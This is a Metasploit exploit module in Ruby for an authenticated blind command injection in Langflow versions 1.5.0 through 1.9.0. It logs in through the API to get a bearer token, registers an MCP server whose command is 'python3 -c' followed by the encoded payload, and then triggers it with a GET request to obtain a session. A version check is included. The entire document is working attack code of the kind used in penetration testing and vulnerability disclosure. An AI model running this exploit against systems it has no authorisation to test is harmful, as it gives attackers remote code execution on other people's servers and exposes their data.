## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Langflow AI Auth Blind Command Injection', 'Description' => %q{ Langflow versions 1.5.0 through 1.9.0 are susceptible to authenticated blind command injection due to a flaw in how the Langflow STDIO service launches processes through system shells. OS commands are executed under the context of the running Langflow process. }, 'Author' => [ 'Richard Howe ' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-93674'] ], 'Targets' => [ [ 'Python payload', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 7860 }, 'Payload' => { 'BadChars' => '"' }, 'DisclosureDate' => '2026-09-22', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new( 'TARGETURI', [true, 'Base path of the Langflow application', '/'] ), OptString.new( 'USERNAME', [true, 'Langflow Username', ''] ), OptString.new( 'PASSWORD', [true, 'Langflow Password', ''] ) ] ) end def get_token(username, password) data = { 'username' => username, 'password' => password } res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/v1/login'), 'vars_post' => data ) return unless res&.code&.between?(200, 299) json = res.get_json_document return unless json.is_a?(Hash) json['access_token'] end def save_command vars = Rex::RandomIdentifier::Generator.new(language: :python) server_name = vars[:server_name] data = { 'command' => 'python3', 'args' => ['-c', payload.encode] } res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri( target_uri.path, "api/v2/mcp/servers/#{server_name}" ), 'headers' => { 'Authorization' => "Bearer #{@token}", 'Content-Type' => 'application/json' }, 'data' => data.to_json ) unless res&.code&.between?(200, 299) fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.') end end def check res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/version') } ) return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 doc = res.get_json_document version_str = doc.is_a?(Hash) ? doc['version'] : nil return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str package = doc.is_a?(Hash) ? doc['package'] : nil return Exploit::CheckCode::Unknown('Failed to identify application.') unless package return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow' begin version = Rex::Version.new(version_str.to_s) rescue ArgumentError return Exploit::CheckCode::Unknown('Failed to parse version.') end return Exploit::CheckCode::Unknown('Failed to parse version.') unless version if (version >= Rex::Version.new('1.5.0')) && (version <= Rex::Version.new('1.9.0')) return Exploit::CheckCode::Appears( "Version #{version} detected, which appears vulnerable." ) end Exploit::CheckCode::Safe( "Version #{version} detected, which is not vulnerable." ) end def exploit username = datastore['USERNAME'] password = datastore['PASSWORD'] vars_get = { 'action_count' => true } @token = get_token(username, password) if @token.to_s.empty? fail_with(Failure::UnexpectedReply, 'Could not retrieve authentication token from api/v1/login') end save_command # GET request triggers payload, putting Langflow into a blocked state # while payload runs. Purposefully not checking HTTP status, as it # will cause the exploit module to fail. send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri( target_uri.path, 'api/v2/mcp/servers' ), 'headers' => { 'Authorization' => "Bearer #{@token}" }, 'vars_get' => vars_get ) end end